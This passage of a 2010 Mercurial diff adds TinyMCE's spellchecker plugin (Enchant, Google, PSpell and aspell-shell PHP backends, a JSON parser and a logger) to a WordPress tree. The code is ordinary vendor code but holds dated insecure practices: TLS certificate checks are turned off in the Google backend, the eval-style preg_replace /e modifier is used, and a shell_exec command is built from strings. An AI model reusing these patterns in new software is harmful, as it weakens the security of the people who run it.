k=l.nodeName.toLowerCase(),j;if(k=="a"){if(l.name){h.replace(h.create("img",{mce_name:"a",name:l.name,"class":"mceItemAnchor"}),l)}return}switch(k){case"b":case"strong":if(k=="b"){k="strong"}j="font-weight: bold;";break;case"em":j="font-style: italic;";break;case"u":j="text-decoration: underline;";break;case"sub":j="vertical-align: sub;";break;case"sup":j="vertical-align: super;";break;case"strike":j="text-decoration: line-through;";break}h.replace(h.create("span",{mce_name:k,style:j,"class":"Apple-style-span"}),l,1)})})});f.onPreProcess.add(function(i,j){h=i.dom;d(c(j.node.getElementsByTagName("span")).reverse(),function(m){var k,l;if(j.get){if(h.hasClass(m,"Apple-style-span")){l=m.style.backgroundColor;switch(h.getAttrib(m,"mce_name")){case"font":if(!i.settings.convert_fonts_to_spans){h.setAttrib(m,"style","")}break;case"strong":case"em":case"sub":case"sup":h.setAttrib(m,"style","");break;case"strike":case"u":if(!i.settings.inline_styles){h.setAttrib(m,"style","")}else{h.setAttrib(m,"mce_name","")}break;default:if(!i.settings.inline_styles){h.setAttrib(m,"style","")}}if(l){m.style.backgroundColor=l}}}if(h.hasClass(m,"mceItemRemoved")){h.remove(m,1)}})});f.onPostProcess.add(function(i,j){j.content=j.content.replace(/
    <\/(h[1-6]|div|p|address|pre)>/g,"");j.content=j.content.replace(/ id=\"undefined\"/g,"")})},getInfo:function(){return{longname:"Safari compatibility",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/safari",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_fixWebKitSpans:function(){var g=this,f=g.editor;a.add(f.getDoc(),"DOMNodeInserted",function(h){h=h.target;if(h&&h.nodeType==1){g._fixAppleSpan(h)}})},_fixAppleSpan:function(l){var g=this.editor,m=g.dom,i=this.webKitFontSizes,f=this.namedFontSizes,j=g.settings,h,k;if(m.getAttrib(l,"mce_fixed")){return}if(l.nodeName=="SPAN"&&l.className=="Apple-style-span"){h=l.style;if(!j.convert_fonts_to_spans){if(h.fontSize){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"size",b(i,h.fontSize)+1)}if(h.fontFamily){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"face",h.fontFamily)}if(h.color){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"color",m.toHex(h.color))}if(h.backgroundColor){m.setAttrib(l,"mce_name","font");m.setStyle(l,"background-color",h.backgroundColor)}}else{if(h.fontSize){m.setStyle(l,"fontSize",f[b(i,h.fontSize)])}}if(h.fontWeight=="bold"){m.setAttrib(l,"mce_name","strong")}if(h.fontStyle=="italic"){m.setAttrib(l,"mce_name","em")}if(h.textDecoration=="underline"){m.setAttrib(l,"mce_name","u")}if(h.textDecoration=="line-through"){m.setAttrib(l,"mce_name","strike")}if(h.verticalAlign=="super"){m.setAttrib(l,"mce_name","sup")}if(h.verticalAlign=="sub"){m.setAttrib(l,"mce_name","sub")}m.setAttrib(l,"mce_fixed","1")}},_insertBR:function(f){var j=f.dom,h=f.selection,i=h.getRng(),g;i.insertNode(g=j.create("br"));i.setStartAfter(g);i.setEndAfter(g);h.setRng(i);if(h.getSel().focusNode==g.previousSibling){h.select(j.insertAfter(j.doc.createTextNode("\u00a0"),g));h.collapse(1)}f.getWin().scrollTo(0,j.getPos(h.getRng().startContainer).y)}});tinymce.PluginManager.add("safari",tinymce.plugins.Safari)})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,67 @@ += 1.4.1 + * @param Array $words Array of words to check. + * @return Array of misspelled words. + */ + function &checkWords($lang, $words) { + $r = enchant_broker_init(); + + if (enchant_broker_dict_exists($r,$lang)) { + $d = enchant_broker_request_dict($r, $lang); + + $returnData = array(); + foreach($words as $key => $value) { + $correct = enchant_dict_check($d, $value); + if(!$correct) { + $returnData[] = trim($value); + } + } + + return $returnData; + enchant_broker_free_dict($d); + } else { + + } + enchant_broker_free($r); + } + + /** + * Returns suggestions for a specific word. + * + * @param String $lang Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1 + * @param String $word Specific word to get suggestions for. + * @return Array of suggestions for the specified word. + */ + function &getSuggestions($lang, $word) { + $r = enchant_broker_init(); + $suggs = array(); + + if (enchant_broker_dict_exists($r,$lang)) { + $d = enchant_broker_request_dict($r, $lang); + $suggs = enchant_dict_suggest($d, $word); + + enchant_broker_free_dict($d); + } else { + + } + enchant_broker_free($r); + + return $suggs; + } +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,159 @@ +_getMatches($lang, $wordstr); + $words = array(); + + for ($i=0; $i_unhtmlentities(mb_substr($wordstr, $matches[$i][1], $matches[$i][2], "UTF-8")); + + return $words; + } + + /** + * Returns suggestions of for a specific word. + * + * @param {String} $lang Language code like sv or en. + * @param {String} $word Specific word to get suggestions for. + * @return {Array} Array of suggestions for the specified word. + */ + function &getSuggestions($lang, $word) { + $sug = array(); + $osug = array(); + $matches = $this->_getMatches($lang, $word); + + if (count($matches) > 0) + $sug = explode("\t", utf8_encode($this->_unhtmlentities($matches[0][4]))); + + // Remove empty + foreach ($sug as $item) { + if ($item) + $osug[] = $item; + } + + return $osug; + } + + function &_getMatches($lang, $str) { + $server = "www.google.com"; + $port = 443; + $path = "/tbproxy/spell?lang=" . $lang . "&hl=en"; + $host = "www.google.com"; + $url = "https://" . $server; + + // Setup XML request + $xml = '' . $str . ''; + + $header = "POST ".$path." HTTP/1.0 \r\n"; + $header .= "MIME-Version: 1.0 \r\n"; + $header .= "Content-type: application/PTI26 \r\n"; + $header .= "Content-length: ".strlen($xml)." \r\n"; + $header .= "Content-transfer-encoding: text \r\n"; + $header .= "Request-number: 1 \r\n"; + $header .= "Document-type: Request \r\n"; + $header .= "Interface-Version: Test 1.4 \r\n"; + $header .= "Connection: close \r\n\r\n"; + $header .= $xml; + + // Use curl if it exists + if (function_exists('curl_init')) { + // Use curl + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL,$url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); + $xml = curl_exec($ch); + curl_close($ch); + } else { + // Use raw sockets + $fp = fsockopen("ssl://" . $server, $port, $errno, $errstr, 30); + if ($fp) { + // Send request + fwrite($fp, $header); + + // Read response + $xml = ""; + while (!feof($fp)) + $xml .= fgets($fp, 128); + + fclose($fp); + } else + echo "Could not open SSL connection to google."; + } + + // Grab and parse content + $matches = array(); + preg_match_all('/([^<]*)<\/c>/', $xml, $matches, PREG_SET_ORDER); + + return $matches; + } + + function _unhtmlentities($string) { + $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string); + $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string); + + $trans_tbl = get_html_translation_table(HTML_ENTITIES); + $trans_tbl = array_flip($trans_tbl); + + return strtr($string, $trans_tbl); + } +} + +// Patch in multibyte support +if (!function_exists('mb_substr')) { + function mb_substr($str, $start, $len = '', $encoding="UTF-8"){ + $limit = strlen($str); + + for ($s = 0; $start > 0;--$start) {// found the real start + if ($s >= $limit) + break; + + if ($str[$s] <= "\x7F") + ++$s; + else { + ++$s; // skip length + + while ($str[$s] >= "\x80" && $str[$s] <= "\xBF") + ++$s; + } + } + + if ($len == '') + return substr($str, $s); + else + for ($e = $s; $len > 0; --$len) {//found the real end + if ($e >= $limit) + break; + + if ($str[$e] <= "\x7F") + ++$e; + else { + ++$e;//skip length + + while ($str[$e] >= "\x80" && $str[$e] <= "\xBF" && $e < $limit) + ++$e; + } + } + + return substr($str, $s, $e - $s); + } +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,82 @@ +_getPLink($lang); + + $outWords = array(); + foreach ($words as $word) { + if (!pspell_check($plink, trim($word))) + $outWords[] = utf8_encode($word); + } + + return $outWords; + } + + /** + * Returns suggestions of for a specific word. + * + * @param {String} $lang Language code like sv or en. + * @param {String} $word Specific word to get suggestions for. + * @return {Array} Array of suggestions for the specified word. + */ + function &getSuggestions($lang, $word) { + $words = pspell_suggest($this->_getPLink($lang), $word); + + for ($i=0; $ithrowError("PSpell support not found in PHP installation."); + + // Setup PSpell link + $plink = pspell_new( + $lang, + $this->_config['PSpell.spelling'], + $this->_config['PSpell.jargon'], + $this->_config['PSpell.encoding'], + $this->_config['PSpell.mode'] + ); + + // Setup PSpell link +/* if (!$plink) { + $pspellConfig = pspell_config_create( + $lang, + $this->_config['PSpell.spelling'], + $this->_config['PSpell.jargon'], + $this->_config['PSpell.encoding'] + ); + + $plink = pspell_new_config($pspell_config); + }*/ + + if (!$plink) + $this->throwError("No PSpell link found opened."); + + return $plink; + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,113 @@ +_getCMD($lang); + + if ($fh = fopen($this->_tmpfile, "w")) { + fwrite($fh, "!\n"); + + foreach($words as $key => $value) + fwrite($fh, "^" . $value . "\n"); + + fclose($fh); + } else + $this->throwError("PSpell support was not found."); + + $data = shell_exec($cmd); + @unlink($this->_tmpfile); + + $returnData = array(); + $dataArr = preg_split("/[\r\n]/", $data, -1, PREG_SPLIT_NO_EMPTY); + + foreach ($dataArr as $dstr) { + $matches = array(); + + // Skip this line. + if (strpos($dstr, "@") === 0) + continue; + + preg_match("/\& ([^ ]+) .*/i", $dstr, $matches); + + if (!empty($matches[1])) + $returnData[] = utf8_encode(trim($matches[1])); + } + + return $returnData; + } + + /** + * Returns suggestions of for a specific word. + * + * @param {String} $lang Language code like sv or en. + * @param {String} $word Specific word to get suggestions for. + * @return {Array} Array of suggestions for the specified word. + */ + function &getSuggestions($lang, $word) { + $cmd = $this->_getCMD($lang); + + if (function_exists("mb_convert_encoding")) + $word = mb_convert_encoding($word, "ISO-8859-1", mb_detect_encoding($word, "UTF-8")); + else + $word = utf8_encode($word); + + if ($fh = fopen($this->_tmpfile, "w")) { + fwrite($fh, "!\n"); + fwrite($fh, "^$word\n"); + fclose($fh); + } else + $this->throwError("Error opening tmp file."); + + $data = shell_exec($cmd); + @unlink($this->_tmpfile); + + $returnData = array(); + $dataArr = preg_split("/\n/", $data, -1, PREG_SPLIT_NO_EMPTY); + + foreach($dataArr as $dstr) { + $matches = array(); + + // Skip this line. + if (strpos($dstr, "@") === 0) + continue; + + preg_match("/\&[^:]+:(.*)/i", $dstr, $matches); + + if (!empty($matches[1])) { + $words = array_slice(explode(',', $matches[1]), 0, 10); + + for ($i=0; $i_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell"); + + if(preg_match("#win#i", php_uname())) + return $this->_config['PSpellShell.aspell'] . " -a --lang=". escapeshellarg($lang) . " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1"; + + return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell'] . " -a --encoding=utf-8 -H --lang=". escapeshellarg($lang); + } +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/SpellChecker.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/SpellChecker.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,62 @@ +_config = $config; + } + + /** + * Simple loopback function everything that gets in will be send back. + * + * @param $args.. Arguments. + * @return {Array} Array of all input arguments. + */ + function &loopback(/* args.. */) { + return func_get_args(); + } + + /** + * Spellchecks an array of words. + * + * @param {String} $lang Language code like sv or en. + * @param {Array} $words Array of words to spellcheck. + * @return {Array} Array of misspelled words. + */ + function &checkWords($lang, $words) { + return $words; + } + + /** + * Returns suggestions of for a specific word. + * + * @param {String} $lang Language code like sv or en. + * @param {String} $word Specific word to get suggestions for. + * @return {Array} Array of suggestions for the specified word. + */ + function &getSuggestions($lang, $word) { + return array(); + } + + /** + * Throws an error message back to the user. This will stop all execution. + * + * @param {String} $str Message to send back to user. + */ + function throwError($str) { + die('{"result":null,"id":null,"error":{"errstr":"' . addslashes($str) . '","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}'); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/JSON.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/JSON.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +_data = $data; + $this->_len = strlen($data); + $this->_pos = -1; + $this->_location = JSON_IN_BETWEEN; + $this->_lastLocations = array(); + $this->_needProp = false; + } + + function getToken() { + return $this->_token; + } + + function getLocation() { + return $this->_location; + } + + function getTokenName() { + switch ($this->_token) { + case JSON_BOOL: + return 'JSON_BOOL'; + + case JSON_INT: + return 'JSON_INT'; + + case JSON_STR: + return 'JSON_STR'; + + case JSON_FLOAT: + return 'JSON_FLOAT'; + + case JSON_NULL: + return 'JSON_NULL'; + + case JSON_START_OBJ: + return 'JSON_START_OBJ'; + + case JSON_END_OBJ: + return 'JSON_END_OBJ'; + + case JSON_START_ARRAY: + return 'JSON_START_ARRAY'; + + case JSON_END_ARRAY: + return 'JSON_END_ARRAY'; + + case JSON_KEY: + return 'JSON_KEY'; + } + + return 'UNKNOWN'; + } + + function getValue() { + return $this->_value; + } + + function readToken() { + $chr = $this->read(); + + if ($chr != null) { + switch ($chr) { + case '[': + $this->_lastLocation[] = $this->_location; + $this->_location = JSON_IN_ARRAY; + $this->_token = JSON_START_ARRAY; + $this->_value = null; + $this->readAway(); + return true; + + case ']': + $this->_location = array_pop($this->_lastLocation); + $this->_token = JSON_END_ARRAY; + $this->_value = null; + $this->readAway(); + + if ($this->_location == JSON_IN_OBJECT) + $this->_needProp = true; + + return true; + + case '{': + $this->_lastLocation[] = $this->_location; + $this->_location = JSON_IN_OBJECT; + $this->_needProp = true; + $this->_token = JSON_START_OBJ; + $this->_value = null; + $this->readAway(); + return true; + + case '}': + $this->_location = array_pop($this->_lastLocation); + $this->_token = JSON_END_OBJ; + $this->_value = null; + $this->readAway(); + + if ($this->_location == JSON_IN_OBJECT) + $this->_needProp = true; + + return true; + + // String + case '"': + case '\'': + return $this->_readString($chr); + + // Null + case 'n': + return $this->_readNull(); + + // Bool + case 't': + case 'f': + return $this->_readBool($chr); + + default: + // Is number + if (is_numeric($chr) || $chr == '-' || $chr == '.') + return $this->_readNumber($chr); + + return true; + } + } + + return false; + } + + function _readBool($chr) { + $this->_token = JSON_BOOL; + $this->_value = $chr == 't'; + + if ($chr == 't') + $this->skip(3); // rue + else + $this->skip(4); // alse + + $this->readAway(); + + if ($this->_location == JSON_IN_OBJECT && !$this->_needProp) + $this->_needProp = true; + + return true; + } + + function _readNull() { + $this->_token = JSON_NULL; + $this->_value = null; + + $this->skip(3); // ull + $this->readAway(); + + if ($this->_location == JSON_IN_OBJECT && !$this->_needProp) + $this->_needProp = true; + + return true; + } + + function _readString($quote) { + $output = ""; + $this->_token = JSON_STR; + $endString = false; + + while (($chr = $this->peek()) != -1) { + switch ($chr) { + case '\\': + // Read away slash + $this->read(); + + // Read escape code + $chr = $this->read(); + switch ($chr) { + case 't': + $output .= "\t"; + break; + + case 'b': + $output .= "\b"; + break; + + case 'f': + $output .= "\f"; + break; + + case 'r': + $output .= "\r"; + break; + + case 'n': + $output .= "\n"; + break; + + case 'u': + $output .= $this->_int2utf8(hexdec($this->read(4))); + break; + + default: + $output .= $chr; + break; + } + + break; + + case '\'': + case '"': + if ($chr == $quote) + $endString = true; + + $chr = $this->read(); + if ($chr != -1 && $chr != $quote) + $output .= $chr; + + break; + + default: + $output .= $this->read(); + } + + // String terminated + if ($endString) + break; + } + + $this->readAway(); + $this->_value = $output; + + // Needed a property + if ($this->_needProp) { + $this->_token = JSON_KEY; + $this->_needProp = false; + return true; + } + + if ($this->_location == JSON_IN_OBJECT && !$this->_needProp) + $this->_needProp = true; + + return true; + } + + function _int2utf8($int) { + $int = intval($int); + + switch ($int) { + case 0: + return chr(0); + + case ($int & 0x7F): + return chr($int); + + case ($int & 0x7FF): + return chr(0xC0 | (($int >> 6) & 0x1F)) . chr(0x80 | ($int & 0x3F)); + + case ($int & 0xFFFF): + return chr(0xE0 | (($int >> 12) & 0x0F)) . chr(0x80 | (($int >> 6) & 0x3F)) . chr (0x80 | ($int & 0x3F)); + + case ($int & 0x1FFFFF): + return chr(0xF0 | ($int >> 18)) . chr(0x80 | (($int >> 12) & 0x3F)) . chr(0x80 | (($int >> 6) & 0x3F)) . chr(0x80 | ($int & 0x3F)); + } + } + + function _readNumber($start) { + $value = ""; + $isFloat = false; + + $this->_token = JSON_INT; + $value .= $start; + + while (($chr = $this->peek()) != -1) { + if (is_numeric($chr) || $chr == '-' || $chr == '.') { + if ($chr == '.') + $isFloat = true; + + $value .= $this->read(); + } else + break; + } + + $this->readAway(); + + if ($isFloat) { + $this->_token = JSON_FLOAT; + $this->_value = floatval($value); + } else + $this->_value = intval($value); + + if ($this->_location == JSON_IN_OBJECT && !$this->_needProp) + $this->_needProp = true; + + return true; + } + + function readAway() { + while (($chr = $this->peek()) != null) { + if ($chr != ':' && $chr != ',' && $chr != ' ') + return; + + $this->read(); + } + } + + function read($len = 1) { + if ($this->_pos < $this->_len) { + if ($len > 1) { + $str = substr($this->_data, $this->_pos + 1, $len); + $this->_pos += $len; + + return $str; + } else + return $this->_data[++$this->_pos]; + } + + return null; + } + + function skip($len) { + $this->_pos += $len; + } + + function peek() { + if ($this->_pos < $this->_len) + return $this->_data[$this->_pos + 1]; + + return null; + } +} + +/** + * This class handles JSON stuff. + * + * @package MCManager.utils + */ +class Moxiecode_JSON { + function Moxiecode_JSON() { + } + + function decode($input) { + $reader = new Moxiecode_JSONReader($input); + + return $this->readValue($reader); + } + + function readValue(&$reader) { + $this->data = array(); + $this->parents = array(); + $this->cur =& $this->data; + $key = null; + $loc = JSON_IN_ARRAY; + + while ($reader->readToken()) { + switch ($reader->getToken()) { + case JSON_STR: + case JSON_INT: + case JSON_BOOL: + case JSON_FLOAT: + case JSON_NULL: + switch ($reader->getLocation()) { + case JSON_IN_OBJECT: + $this->cur[$key] = $reader->getValue(); + break; + + case JSON_IN_ARRAY: + $this->cur[] = $reader->getValue(); + break; + + default: + return $reader->getValue(); + } + break; + + case JSON_KEY: + $key = $reader->getValue(); + break; + + case JSON_START_OBJ: + case JSON_START_ARRAY: + if ($loc == JSON_IN_OBJECT) + $this->addArray($key); + else + $this->addArray(null); + + $cur =& $obj; + + $loc = $reader->getLocation(); + break; + + case JSON_END_OBJ: + case JSON_END_ARRAY: + $loc = $reader->getLocation(); + + if (count($this->parents) > 0) { + $this->cur =& $this->parents[count($this->parents) - 1]; + array_pop($this->parents); + } + break; + } + } + + return $this->data[0]; + } + + // This method was needed since PHP is crapy and doesn't have pointers/references + function addArray($key) { + $this->parents[] =& $this->cur; + $ar = array(); + + if ($key) + $this->cur[$key] =& $ar; + else + $this->cur[] =& $ar; + + $this->cur =& $ar; + } + + function getDelim($index, &$reader) { + switch ($reader->getLocation()) { + case JSON_IN_ARRAY: + case JSON_IN_OBJECT: + if ($index > 0) + return ","; + break; + } + + return ""; + } + + function encode($input) { + switch (gettype($input)) { + case 'boolean': + return $input ? 'true' : 'false'; + + case 'integer': + return (int) $input; + + case 'float': + case 'double': + return (float) $input; + + case 'NULL': + return 'null'; + + case 'string': + return $this->encodeString($input); + + case 'array': + return $this->_encodeArray($input); + + case 'object': + return $this->_encodeArray(get_object_vars($input)); + } + + return ''; + } + + function encodeString($input) { + // Needs to be escaped + if (preg_match('/[^a-zA-Z0-9]/', $input)) { + $output = ''; + + for ($i=0; $i_utf82utf16($char))); + } if (($byte & 0xF0) == 0xE0) { + $char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2])); + $i += 2; + $output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char))); + } if (($byte & 0xF8) == 0xF0) { + $char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2], ord($input[$i + 3]))); + $i += 3; + $output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char))); + } if (($byte & 0xFC) == 0xF8) { + $char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2], ord($input[$i + 3]), ord($input[$i + 4]))); + $i += 4; + $output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char))); + } if (($byte & 0xFE) == 0xFC) { + $char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2], ord($input[$i + 3]), ord($input[$i + 4]), ord($input[$i + 5]))); + $i += 5; + $output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char))); + } else if ($byte < 128) + $output .= $input[$i]; + } + } + + return '"' . $output . '"'; + } + + return '"' . $input . '"'; + } + + function _utf82utf16($utf8) { + if (function_exists('mb_convert_encoding')) + return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); + + switch (strlen($utf8)) { + case 1: + return $utf8; + + case 2: + return chr(0x07 & (ord($utf8[0]) >> 2)) . chr((0xC0 & (ord($utf8[0]) << 6)) | (0x3F & ord($utf8[1]))); + + case 3: + return chr((0xF0 & (ord($utf8[0]) << 4)) | (0x0F & (ord($utf8[1]) >> 2))) . chr((0xC0 & (ord($utf8[1]) << 6)) | (0x7F & ord($utf8[2]))); + } + + return ''; + } + + function _encodeArray($input) { + $output = ''; + $isIndexed = true; + + $keys = array_keys($input); + for ($i=0; $iencodeString($keys[$i]) . ':' . $this->encode($input[$keys[$i]]); + $isIndexed = false; + } else + $output .= $this->encode($input[$keys[$i]]); + + if ($i != count($keys) - 1) + $output .= ','; + } + + return $isIndexed ? '[' . $output . ']' : '{' . $output . '}'; + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/Logger.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/Logger.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,268 @@ +_path = ""; + $this->_filename = "{level}.log"; + $this->setMaxSize("100k"); + $this->_maxFiles = 10; + $this->_level = MC_LOGGER_DEBUG; + $this->_format = "[{time}] [{level}] {message}"; + } + + /** + * Sets the current log level, use the MC_LOGGER constants. + * + * @param int $level Log level instance for example MC_LOGGER_DEBUG. + */ + function setLevel($level) { + if (is_string($level)) { + switch (strtolower($level)) { + case "debug": + $level = MC_LOGGER_DEBUG; + break; + + case "info": + $level = MC_LOGGER_INFO; + break; + + case "warn": + case "warning": + $level = MC_LOGGER_WARN; + break; + + case "error": + $level = MC_LOGGER_ERROR; + break; + + case "fatal": + $level = MC_LOGGER_FATAL; + break; + + default: + $level = MC_LOGGER_FATAL; + } + } + + $this->_level = $level; + } + + /** + * Returns the current log level for example MC_LOGGER_DEBUG. + * + * @return int Current log level for example MC_LOGGER_DEBUG. + */ + function getLevel() { + return $this->_level; + } + + function setPath($path) { + $this->_path = $path; + } + + function getPath() { + return $this->_path; + } + + function setFileName($file_name) { + $this->_filename = $file_name; + } + + function getFileName() { + return $this->_filename; + } + + function setFormat($format) { + $this->_format = $format; + } + + function getFormat() { + return $this->_format; + } + + function setMaxSize($size) { + // Fix log max size + $logMaxSizeBytes = intval(preg_replace("/[^0-9]/", "", $size)); + + // Is KB + if (strpos((strtolower($size)), "k") > 0) + $logMaxSizeBytes *= 1024; + + // Is MB + if (strpos((strtolower($size)), "m") > 0) + $logMaxSizeBytes *= (1024 * 1024); + + $this->_maxSizeBytes = $logMaxSizeBytes; + $this->_maxSize = $size; + } + + function getMaxSize() { + return $this->_maxSize; + } + + function setMaxFiles($max_files) { + $this->_maxFiles = $max_files; + } + + function getMaxFiles() { + return $this->_maxFiles; + } + + function debug($msg) { + $args = func_get_args(); + $this->_logMsg(MC_LOGGER_DEBUG, implode(', ', $args)); + } + + function info($msg) { + $args = func_get_args(); + $this->_logMsg(MC_LOGGER_INFO, implode(', ', $args)); + } + + function warn($msg) { + $args = func_get_args(); + $this->_logMsg(MC_LOGGER_WARN, implode(', ', $args)); + } + + function error($msg) { + $args = func_get_args(); + $this->_logMsg(MC_LOGGER_ERROR, implode(', ', $args)); + } + + function fatal($msg) { + $args = func_get_args(); + $this->_logMsg(MC_LOGGER_FATAL, implode(', ', $args)); + } + + function isDebugEnabled() { + return $this->_level >= MC_LOGGER_DEBUG; + } + + function isInfoEnabled() { + return $this->_level >= MC_LOGGER_INFO; + } + + function isWarnEnabled() { + return $this->_level >= MC_LOGGER_WARN; + } + + function isErrorEnabled() { + return $this->_level >= MC_LOGGER_ERROR; + } + + function isFatalEnabled() { + return $this->_level >= MC_LOGGER_FATAL; + } + + function _logMsg($level, $message) { + $roll = false; + + if ($level < $this->_level) + return; + + $logFile = $this->toOSPath($this->_path . "/" . $this->_filename); + + switch ($level) { + case MC_LOGGER_DEBUG: + $levelName = "DEBUG"; + break; + + case MC_LOGGER_INFO: + $levelName = "INFO"; + break; + + case MC_LOGGER_WARN: + $levelName = "WARN"; + break; + + case MC_LOGGER_ERROR: + $levelName = "ERROR"; + break; + + case MC_LOGGER_FATAL: + $levelName = "FATAL"; + break; + } + + $logFile = str_replace('{level}', strtolower($levelName), $logFile); + + $text = $this->_format; + $text = str_replace('{time}', date("Y-m-d H:i:s"), $text); + $text = str_replace('{level}', strtolower($levelName), $text); + $text = str_replace('{message}', $message, $text); + $message = $text . "\r\n"; + + // Check filesize + if (file_exists($logFile)) { + $size = @filesize($logFile); + + if ($size + strlen($message) > $this->_maxSizeBytes) + $roll = true; + } + + // Roll if the size is right + if ($roll) { + for ($i=$this->_maxFiles-1; $i>=1; $i--) { + $rfile = $this->toOSPath($logFile . "." . $i); + $nfile = $this->toOSPath($logFile . "." . ($i+1)); + + if (@file_exists($rfile)) + @rename($rfile, $nfile); + } + + @rename($logFile, $this->toOSPath($logFile . ".1")); + + // Delete last logfile + $delfile = $this->toOSPath($logFile . "." . ($this->_maxFiles + 1)); + if (@file_exists($delfile)) + @unlink($delfile); + } + + // Append log line + if (($fp = @fopen($logFile, "a")) != null) { + @fputs($fp, $message); + @fflush($fp); + @fclose($fp); + } + } + + /** + * Converts a Unix path to OS specific path. + * + * @param String $path Unix path to convert. + */ + function toOSPath($path) { + return str_replace("/", DIRECTORY_SEPARATOR, $path); + } +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/config.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/config.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,28 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/css/content.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/css/content.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +.mceItemHiddenSpellWord {background:url(../img/wline.gif) repeat-x bottom left; cursor:default;} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,338 @@ +/** + * $Id: editor_plugin_src.js 425 2007-11-21 15:17:39Z spocke $ + * + * @author Moxiecode + * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved. + */ + +(function() { + var JSONRequest = tinymce.util.JSONRequest, each = tinymce.each, DOM = tinymce.DOM; + + tinymce.create('tinymce.plugins.SpellcheckerPlugin', { + getInfo : function() { + return { + longname : 'Spellchecker', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + init : function(ed, url) { + var t = this, cm; + + t.url = url; + t.editor = ed; + + // Register commands + ed.addCommand('mceSpellCheck', function() { + if (!t.active) { + ed.setProgressState(1); + t._sendRPC('checkWords', [t.selectedLang, t._getWords()], function(r) { + if (r.length > 0) { + t.active = 1; + t._markWords(r); + ed.setProgressState(0); + ed.nodeChanged(); + } else { + ed.setProgressState(0); + ed.windowManager.alert('spellchecker.no_mpell'); + } + }); + } else + t._done(); + }); + + 